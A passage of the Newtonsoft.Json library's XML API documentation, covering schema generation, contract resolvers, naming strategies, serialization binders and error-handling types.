cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> from.</param>\n            <param name=\"resolver\">The <see cref=\"T:Newtonsoft.Json.Schema.JsonSchemaResolver\"/> used to resolve schema references.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> generated from the specified type.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Schema.JsonSchemaGenerator.Generate(System.Type,System.Boolean)\">\n            <summary>\n            Generate a <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> from the specified type.\n            </summary>\n            <param name=\"type\">The type to generate a <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> from.</param>\n            <param name=\"rootSchemaNullable\">Specify whether the generated root <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> will be nullable.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> generated from the specified type.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Schema.JsonSchemaGenerator.Generate(System.Type,Newtonsoft.Json.Schema.JsonSchemaResolver,System.Boolean)\">\n            <summary>\n            Generate a <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> from the specified type.\n            </summary>\n            <param name=\"type\">The type to generate a <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> from.</param>\n            <param name=\"resolver\">The <see cref=\"T:Newtonsoft.Json.Schema.JsonSchemaResolver\"/> used to resolve schema references.</param>\n            <param name=\"rootSchemaNullable\">Specify whether the generated root <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> will be nullable.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> generated from the specified type.</returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Schema.JsonSchemaResolver\">\n            <summary>\n            <para>\n            Resolves <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> from an id.\n            </para>\n            <note type=\"caution\">\n            JSON Schema validation has been moved to its own package. See <see href=\"https://www.newtonsoft.com/jsonschema\">https://www.newtonsoft.com/jsonschema</see> for more details.\n            </note>\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchemaResolver.LoadedSchemas\">\n            <summary>\n            Gets or sets the loaded schemas.\n            </summary>\n            <value>The loaded schemas.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Schema.JsonSchemaResolver.#ctor\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Schema.JsonSchemaResolver\"/> class.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Schema.JsonSchemaResolver.GetSchema(System.String)\">\n            <summary>\n            Gets a <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> for the specified reference.\n            </summary>\n            <param name=\"reference\">The id.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> for the specified reference.</returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Schema.JsonSchemaType\">\n            <summary>\n            <para>\n            The value types allowed by the <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/>.\n            </para>\n            <note type=\"caution\">\n            JSON Schema validation has been moved to its own package. See <see href=\"https://www.newtonsoft.com/jsonschema\">https://www.newtonsoft.com/jsonschema</see> for more details.\n            </note>\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Schema.JsonSchemaType.None\">\n            <summary>\n            No type specified.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Schema.JsonSchemaType.String\">\n            <summary>\n            String type.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Schema.JsonSchemaType.Float\">\n            <summary>\n            Float type.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Schema.JsonSchemaType.Integer\">\n            <summary>\n            Integer type.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Schema.JsonSchemaType.Boolean\">\n            <summary>\n            Boolean type.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Schema.JsonSchemaType.Object\">\n            <summary>\n            Object type.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Schema.JsonSchemaType.Array\">\n            <summary>\n            Array type.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Schema.JsonSchemaType.Null\">\n            <summary>\n            Null type.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Schema.JsonSchemaType.Any\">\n            <summary>\n            Any type.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Schema.UndefinedSchemaIdHandling\">\n            <summary>\n            <para>\n            Specifies undefined schema Id handling options for the <see cref=\"T:Newtonsoft.Json.Schema.JsonSchemaGenerator\"/>.\n            </para>\n            <note type=\"caution\">\n            JSON Schema validation has been moved to its own package. See <see href=\"https://www.newtonsoft.com/jsonschema\">https://www.newtonsoft.com/jsonschema</see> for more details.\n            </note>\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Schema.UndefinedSchemaIdHandling.None\">\n            <summary>\n            Do not infer a schema Id.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Schema.UndefinedSchemaIdHandling.UseTypeName\">\n            <summary>\n            Use the .NET type name as the schema Id.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Schema.UndefinedSchemaIdHandling.UseAssemblyQualifiedName\">\n            <summary>\n            Use the assembly qualified .NET type name as the schema Id.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Schema.ValidationEventArgs\">\n            <summary>\n            <para>\n            Returns detailed information related to the <see cref=\"T:Newtonsoft.Json.Schema.ValidationEventHandler\"/>.\n            </para>\n            <note type=\"caution\">\n            JSON Schema validation has been moved to its own package. See <see href=\"https://www.newtonsoft.com/jsonschema\">https://www.newtonsoft.com/jsonschema</see> for more details.\n            </note>\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.ValidationEventArgs.Exception\">\n            <summary>\n            Gets the <see cref=\"T:Newtonsoft.Json.Schema.JsonSchemaException\"/> associated with the validation error.\n            </summary>\n            <value>The JsonSchemaException associated with the validation error.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.ValidationEventArgs.Path\">\n            <summary>\n            Gets the path of the JSON location where the validation error occurred.\n            </summary>\n            <value>The path of the JSON location where the validation error occurred.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.ValidationEventArgs.Message\">\n            <summary>\n            Gets the text description corresponding to the validation error.\n            </summary>\n            <value>The text description.</value>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Schema.ValidationEventHandler\">\n            <summary>\n            <para>\n            Represents the callback method that will handle JSON schema validation events and the <see cref=\"T:Newtonsoft.Json.Schema.ValidationEventArgs\"/>.\n            </para>\n            <note type=\"caution\">\n            JSON Schema validation has been moved to its own package. See <see href=\"https://www.newtonsoft.com/jsonschema\">https://www.newtonsoft.com/jsonschema</see> for more details.\n            </note>\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.SerializationBinder\">\n            <summary>\n            Allows users to control class loading and mandate what class to load.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.SerializationBinder.BindToType(System.String,System.String)\">\n            <summary>\n            When overridden in a derived class, controls the binding of a serialized object to a type.\n            </summary>\n            <param name=\"assemblyName\">Specifies the <see cref=\"T:System.Reflection.Assembly\"/> name of the serialized object.</param>\n            <param name=\"typeName\">Specifies the <see cref=\"T:System.Type\"/> name of the serialized object</param>\n            <returns>The type of the object the formatter creates a new instance of.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.SerializationBinder.BindToName(System.Type,System.String@,System.String@)\">\n            <summary>\n            When overridden in a derived class, controls the binding of a serialized object to a type.\n            </summary>\n            <param name=\"serializedType\">The type of the object the formatter creates a new instance of.</param>\n            <param name=\"assemblyName\">Specifies the <see cref=\"T:System.Reflection.Assembly\"/> name of the serialized object.</param>\n            <param name=\"typeName\">Specifies the <see cref=\"T:System.Type\"/> name of the serialized object.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.CamelCaseNamingStrategy\">\n            <summary>\n            A camel case naming strategy.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.CamelCaseNamingStrategy.#ctor(System.Boolean,System.Boolean)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Serialization.CamelCaseNamingStrategy\"/> class.\n            </summary>\n            <param name=\"processDictionaryKeys\">\n            A flag indicating whether dictionary keys should be processed.\n            </param>\n            <param name=\"overrideSpecifiedNames\">\n            A flag indicating whether explicitly specified property names should be processed,\n            e.g. a property name customized with a <see cref=\"T:Newtonsoft.Json.JsonPropertyAttribute\"/>.\n            </param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.CamelCaseNamingStrategy.#ctor(System.Boolean,System.Boolean,System.Boolean)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Serialization.CamelCaseNamingStrategy\"/> class.\n            </summary>\n            <param name=\"processDictionaryKeys\">\n            A flag indicating whether dictionary keys should be processed.\n            </param>\n            <param name=\"overrideSpecifiedNames\">\n            A flag indicating whether explicitly specified property names should be processed,\n            e.g. a property name customized with a <see cref=\"T:Newtonsoft.Json.JsonPropertyAttribute\"/>.\n            </param>\n            <param name=\"processExtensionDataNames\">\n            A flag indicating whether extension data names should be processed.\n            </param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.CamelCaseNamingStrategy.#ctor\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Serialization.CamelCaseNamingStrategy\"/> class.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.CamelCaseNamingStrategy.ResolvePropertyName(System.String)\">\n            <summary>\n            Resolves the specified property name.\n            </summary>\n            <param name=\"name\">The property name to resolve.</param>\n            <returns>The resolved property name.</returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.CamelCasePropertyNamesContractResolver\">\n            <summary>\n            Resolves member mappings for a type, camel casing property names.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.CamelCasePropertyNamesContractResolver.#ctor\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Serialization.CamelCasePropertyNamesContractResolver\"/> class.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.CamelCasePropertyNamesContractResolver.ResolveContract(System.Type)\">\n            <summary>\n            Resolves the contract for a given type.\n            </summary>\n            <param name=\"type\">The type to resolve a contract for.</param>\n            <returns>The contract for a given type.</returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.DefaultContractResolver\">\n            <summary>\n            Used by <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> to resolve a <see cref=\"T:Newtonsoft.Json.Serialization.JsonContract\"/> for a given <see cref=\"T:System.Type\"/>.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.DefaultContractResolver.DynamicCodeGeneration\">\n            <summary>\n            Gets a value indicating whether members are being get and set using dynamic code generation.\n            This value is determined by the runtime permissions available.\n            </summary>\n            <value>\n            \t<c>true</c> if using dynamic code generation; otherwise, <c>false</c>.\n            </value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.DefaultContractResolver.SerializeCompilerGeneratedMembers\">\n            <summary>\n            Gets or sets a value indicating whether compiler generated members should be serialized.\n            </summary>\n            <value>\n            \t<c>true</c> if serialized compiler generated members; otherwise, <c>false</c>.\n            </value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.DefaultContractResolver.IgnoreIsSpecifiedMembers\">\n            <summary>\n            Gets or sets a value indicating whether to ignore IsSpecified members when serializing and deserializing types.\n            </summary>\n            <value>\n                <c>true</c> if the IsSpecified members will be ignored when serializing and deserializing types; otherwise, <c>false</c>.\n            </value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.DefaultContractResolver.IgnoreShouldSerializeMembers\">\n            <summary>\n            Gets or sets a value indicating whether to ignore ShouldSerialize members when serializing and deserializing types.\n            </summary>\n            <value>\n                <c>true</c> if the ShouldSerialize members will be ignored when serializing and deserializing types; otherwise, <c>false</c>.\n            </value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.DefaultContractResolver.NamingStrategy\">\n            <summary>\n            Gets or sets the naming strategy used to resolve how property names and dictionary keys are serialized.\n            </summary>\n            <value>The naming strategy used to resolve how property names and dictionary keys are serialized.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.DefaultContractResolver.#ctor\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Serialization.DefaultContractResolver\"/> class.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.DefaultContractResolver.ResolveContract(System.Type)\">\n            <summary>\n            Resolves the contract for a given type.\n            </summary>\n            <param name=\"type\">The type to resolve a contract for.</param>\n            <returns>The contract for a given type.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.DefaultContractResolver.GetSerializableMembers(System.Type)\">\n            <summary>\n            Gets the serializable members for the type.\n            </summary>\n            <param name=\"objectType\">The type to get serializable members for.</param>\n            <returns>The serializable members for the type.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.DefaultContractResolver.CreateObjectContract(System.Type)\">\n            <summary>\n            Creates a <see cref=\"T:Newtonsoft.Json.Serialization.JsonObjectContract\"/> for the given type.\n            </summary>\n            <param name=\"objectType\">Type of the object.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Serialization.JsonObjectContract\"/> for the given type.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.DefaultContractResolver.CreateConstructorParameters(System.Reflection.ConstructorInfo,Newtonsoft.Json.Serialization.JsonPropertyCollection)\">\n            <summary>\n            Creates the constructor parameters.\n            </summary>\n            <param name=\"constructor\">The constructor to create properties for.</param>\n            <param name=\"memberProperties\">The type's member properties.</param>\n            <returns>Properties for the given <see cref=\"T:System.Reflection.ConstructorInfo\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.DefaultContractResolver.CreatePropertyFromConstructorParameter(Newtonsoft.Json.Serialization.JsonProperty,System.Reflection.ParameterInfo)\">\n            <summary>\n            Creates a <see cref=\"T:Newtonsoft.Json.Serialization.JsonProperty\"/> for the given <see cref=\"T:System.Reflection.ParameterInfo\"/>.\n            </summary>\n            <param name=\"matchingMemberProperty\">The matching member property.</param>\n            <param name=\"parameterInfo\">The constructor parameter.</param>\n            <returns>A created <see cref=\"T:Newtonsoft.Json.Serialization.JsonProperty\"/> for the given <see cref=\"T:System.Reflection.ParameterInfo\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.DefaultContractResolver.ResolveContractConverter(System.Type)\">\n            <summary>\n            Resolves the default <see cref=\"T:Newtonsoft.Json.JsonConverter\" /> for the contract.\n            </summary>\n            <param name=\"objectType\">Type of the object.</param>\n            <returns>The contract's default <see cref=\"T:Newtonsoft.Json.JsonConverter\" />.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.DefaultContractResolver.CreateDictionaryContract(System.Type)\">\n            <summary>\n            Creates a <see cref=\"T:Newtonsoft.Json.Serialization.JsonDictionaryContract\"/> for the given type.\n            </summary>\n            <param name=\"objectType\">Type of the object.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Serialization.JsonDictionaryContract\"/> for the given type.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.DefaultContractResolver.CreateArrayContract(System.Type)\">\n            <summary>\n            Creates a <see cref=\"T:Newtonsoft.Json.Serialization.JsonArrayContract\"/> for the given type.\n            </summary>\n            <param name=\"objectType\">Type of the object.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Serialization.JsonArrayContract\"/> for the given type.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.DefaultContractResolver.CreatePrimitiveContract(System.Type)\">\n            <summary>\n            Creates a <see cref=\"T:Newtonsoft.Json.Serialization.JsonPrimitiveContract\"/> for the given type.\n            </summary>\n            <param name=\"objectType\">Type of the object.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Serialization.JsonPrimitiveContract\"/> for the given type.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.DefaultContractResolver.CreateLinqContract(System.Type)\">\n            <summary>\n            Creates a <see cref=\"T:Newtonsoft.Json.Serialization.JsonLinqContract\"/> for the given type.\n            </summary>\n            <param name=\"objectType\">Type of the object.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Serialization.JsonLinqContract\"/> for the given type.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.DefaultContractResolver.CreateDynamicContract(System.Type)\">\n            <summary>\n            Creates a <see cref=\"T:Newtonsoft.Json.Serialization.JsonDynamicContract\"/> for the given type.\n            </summary>\n            <param name=\"objectType\">Type of the object.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Serialization.JsonDynamicContract\"/> for the given type.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.DefaultContractResolver.CreateStringContract(System.Type)\">\n            <summary>\n            Creates a <see cref=\"T:Newtonsoft.Json.Serialization.JsonStringContract\"/> for the given type.\n            </summary>\n            <param name=\"objectType\">Type of the object.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Serialization.JsonStringContract\"/> for the given type.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.DefaultContractResolver.CreateContract(System.Type)\">\n            <summary>\n            Determines which contract type is created for the given type.\n            </summary>\n            <param name=\"objectType\">Type of the object.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Serialization.JsonContract\"/> for the given type.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.DefaultContractResolver.CreateProperties(System.Type,Newtonsoft.Json.MemberSerialization)\">\n            <summary>\n            Creates properties for the given <see cref=\"T:Newtonsoft.Json.Serialization.JsonContract\"/>.\n            </summary>\n            <param name=\"type\">The type to create properties for.</param>\n            /// <param name=\"memberSerialization\">The member serialization mode for the type.</param>\n            <returns>Properties for the given <see cref=\"T:Newtonsoft.Json.Serialization.JsonContract\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.DefaultContractResolver.CreateMemberValueProvider(System.Reflection.MemberInfo)\">\n            <summary>\n            Creates the <see cref=\"T:Newtonsoft.Json.Serialization.IValueProvider\"/> used by the serializer to get and set values from a member.\n            </summary>\n            <param name=\"member\">The member.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Serialization.IValueProvider\"/> used by the serializer to get and set values from a member.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.DefaultContractResolver.CreateProperty(System.Reflection.MemberInfo,Newtonsoft.Json.MemberSerialization)\">\n            <summary>\n            Creates a <see cref=\"T:Newtonsoft.Json.Serialization.JsonProperty\"/> for the given <see cref=\"T:System.Reflection.MemberInfo\"/>.\n            </summary>\n            <param name=\"memberSerialization\">The member's parent <see cref=\"T:Newtonsoft.Json.MemberSerialization\"/>.</param>\n            <param name=\"member\">The member to create a <see cref=\"T:Newtonsoft.Json.Serialization.JsonProperty\"/> for.</param>\n            <returns>A created <see cref=\"T:Newtonsoft.Json.Serialization.JsonProperty\"/> for the given <see cref=\"T:System.Reflection.MemberInfo\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.DefaultContractResolver.ResolvePropertyName(System.String)\">\n            <summary>\n            Resolves the name of the property.\n            </summary>\n            <param name=\"propertyName\">Name of the property.</param>\n            <returns>Resolved name of the property.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.DefaultContractResolver.ResolveExtensionDataName(System.String)\">\n            <summary>\n            Resolves the name of the extension data. By default no changes are made to extension data names.\n            </summary>\n            <param name=\"extensionDataName\">Name of the extension data.</param>\n            <returns>Resolved name of the extension data.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.DefaultContractResolver.ResolveDictionaryKey(System.String)\">\n            <summary>\n            Resolves the key of the dictionary. By default <see cref=\"M:Newtonsoft.Json.Serialization.DefaultContractResolver.ResolvePropertyName(System.String)\"/> is used to resolve dictionary keys.\n            </summary>\n            <param name=\"dictionaryKey\">Key of the dictionary.</param>\n            <returns>Resolved key of the dictionary.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.DefaultContractResolver.GetResolvedPropertyName(System.String)\">\n            <summary>\n            Gets the resolved name of the property.\n            </summary>\n            <param name=\"propertyName\">Name of the property.</param>\n            <returns>Name of the property.</returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.DefaultNamingStrategy\">\n            <summary>\n            The default naming strategy. Property names and dictionary keys are unchanged.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.DefaultNamingStrategy.ResolvePropertyName(System.String)\">\n            <summary>\n            Resolves the specified property name.\n            </summary>\n            <param name=\"name\">The property name to resolve.</param>\n            <returns>The resolved property name.</returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.DefaultSerializationBinder\">\n            <summary>\n            The default serialization binder used when resolving and loading classes from type names.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.DefaultSerializationBinder.#ctor\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Serialization.DefaultSerializationBinder\"/> class.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.DefaultSerializationBinder.BindToType(System.String,System.String)\">\n            <summary>\n            When overridden in a derived class, controls the binding of a serialized object to a type.\n            </summary>\n            <param name=\"assemblyName\">Specifies the <see cref=\"T:System.Reflection.Assembly\"/> name of the serialized object.</param>\n            <param name=\"typeName\">Specifies the <see cref=\"T:System.Type\"/> name of the serialized object.</param>\n            <returns>\n            The type of the object the formatter creates a new instance of.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.DefaultSerializationBinder.BindToName(System.Type,System.String@,System.String@)\">\n            <summary>\n            When overridden in a derived class, controls the binding of a serialized object to a type.\n            </summary>\n            <param name=\"serializedType\">The type of the object the formatter creates a new instance of.</param>\n            <param name=\"assemblyName\">Specifies the <see cref=\"T:System.Reflection.Assembly\"/> name of the serialized object.</param>\n            <param name=\"typeName\">Specifies the <see cref=\"T:System.Type\"/> name of the serialized object.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.ErrorContext\">\n            <summary>\n            Provides information surrounding an error.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.ErrorContext.Error\">\n            <summary>\n            Gets the error.\n            </summary>\n            <value>The error.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.ErrorContext.OriginalObject\">\n            <summary>\n            Gets the original object that caused the error.\n            </summary>\n            <value>The original object that caused the error.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.ErrorContext.Member\">\n            <summary>\n            Gets the member that caused the error.\n            </summary>\n            <value>The member that caused the error.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.ErrorContext.Path\">\n            <summary>\n            Gets the path of the JSON location where the error occurred.\n            </summary>\n            <value>The path of the JSON location where the error occurred.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.ErrorContext.Handled\">\n            <summary>\n            Gets or sets a value indicating whether this <see cref=\"T:Newtonsoft.Json.Serialization.ErrorContext\"/> is handled.\n            </summary>\n            <value><c>true</c> if handled; otherwise, <c>false</c>.</value>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.ErrorEventArgs\">\n            <summary>\n            Provides data for the Error event.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.ErrorEventArgs.CurrentObject\">\n            <summary>\n            Gets the current object the error event is being raised against.\n            </summary>\n            <value>The current object the error event is being raised against.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.ErrorEventArgs.ErrorContext\">\n            <summary>\n            Gets the error context.\n            </summary>\n            <value>The error context.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.ErrorEventArgs.#ctor(System.Object,Newtonsoft.Json.Serialization.ErrorContext)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Serialization.ErrorEventArgs\"/> class.\n            </summary>\n            <param name=\"currentObject\">The current object.</param>\n            <param name=\"errorContext\">The error context.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.ExpressionValueProvider\">\n            <summary>\n            Get and set values for a <see cref=\"T:System.Reflection.MemberInfo\"/> using dynamic methods.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.ExpressionValueProvider.#ctor(System.Reflection.MemberInfo)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Serialization.ExpressionValueProvider\"/> class.\n            </summary>\n            <param name=\"memberInfo\">The member info.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.ExpressionValueProvider.SetValue(System.Object,System.Object)\">\n            <summary>\n            Sets the value.\n            </summary>\n            <param name=\"target\">The target to set the value on.</param>\n            <param name=\"value\">The value to set on the target.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.ExpressionValueProvider.GetValue(System.Object)\">\n            <summary>\n            Gets the value.\n            </summary>\n            <param name=\"target\">The target to get the value from.</param>\n            <returns>The value.</returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.IAttributeProvider\">\n            <summary>\n            Provides methods to get attributes.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.IAttributeProvider.GetAttributes(System.Boolean)\">\n            <summary>\n            Returns a collection of all of the attributes, or an empty collection if there are no attributes.\n            </summary>\n            <param name=\"inherit\">When <c>true</c>, look up the hierarchy chain for the inherited custom attribute.</param>\n            <returns>A collection of <see cref=\"T:System.Attribute\"/>s, or an empty collection.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.IAttributeProvider.GetAttributes(System.Type,System.Boolean)\">\n            <summary>\n            Returns a collection of attributes, identified by type, or an empty collection if there are no attributes.\n            </summary>\n            <param name=\"attributeType\">The type of the attributes.</param>\n            <param name=\"inherit\">When <c>true</c>, look up the hierarchy chain for the inherited custom attribute.</param>\n            <returns>A collection of <see cref=\"T:System.Attribute\"/>s, or an empty collection.</returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.IContractResolver\">\n            <summary>\n            Used by <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> to resolve a <see cref=\"T:Newtonsoft.Json.Serialization.JsonContract\"/> for a given <see cref=\"T:System.Type\"/>.\n            </summary>\n            <example>\n              <code lang=\"cs\" source=\"..\\Src\\Newtonsoft.Json.Tests\\Documentation\\SerializationTests.cs\" region=\"ReducingSerializedJsonSizeContractResolverObject\" title=\"IContractResolver Class\" />\n              <code lang=\"cs\" source=\"..\\Src\\Newtonsoft.Json.Tests\\Documentation\\SerializationTests.cs\" region=\"ReducingSerializedJsonSizeContractResolverExample\" title=\"IContractResolver Example\" />\n            </example>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.IContractResolver.ResolveContract(System.Type)\">\n            <summary>\n            Resolves the contract for a given type.\n            </summary>\n            <param name=\"type\">The type to resolve a contract for.</param>\n            <returns>The contract for a given type.</returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.IReferenceResolver\">\n            <summary>\n            Used to resolve references when serializing and deserializing JSON by the <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/>.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.IReferenceResolver.ResolveReference(System.Object,System.String)\">\n            <summary>\n            Resolves a reference to its object.\n            </summary>\n            <param name=\"context\">The serialization context.</param>\n            <param name=\"reference\">The reference to resolve.</param>\n            <returns>The object that was resolved from the reference.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.IReferenceResolver.GetReference(System.Object,System.Object)\">\n            <summary>\n            Gets the reference for the specified object.\n            </summary>\n            <param name=\"context\">The serialization context.</param>\n            <param name=\"value\">The object to get a reference for.</param>\n            <returns>The reference to the object.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.IReferenceResolver.IsReferenced(System.Object,System.Object)\">\n            <summary>\n            Determines whether the specified object is referenced.\n            </summary>\n            <param name=\"context\">The serialization context.</param>\n            <param name=\"value\">The object to test for a reference.</param>\n            <returns>\n            \t<c>true</c> if the specified object is referenced; otherwise, <c>false</c>.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.IReferenceResolver.AddReference(System.Object,System.String,System.Object)\">\n            <summary>\n            Adds a reference to the specified object.\n            </summary>\n            <param name=\"context\">The serialization context.</param>\n            <param name=\"reference\">The reference.</param>\n            <param name=\"value\">The object to reference.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.ISerializationBinder\">\n            <summary>\n            Allows users to control class loading and mandate what class to load.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.ISerializationBinder.BindToType(System.String,System.String)\">\n            <summary>\n            When implemented, controls the binding of a serialized object to a type.\n            </summary>\n            <param name=\"assemblyName\">Specifies the <see cref=\"T:System.Reflection.Assembly\"/> name of the serialized object.</param>\n            <param name=\"typeName\">Specifies the <see cref=\"T:System.Type\"/> name of the serialized object</param>\n            <returns>The type of the object the formatter creates a new instance of.</returns>\n        </member>\n        <member 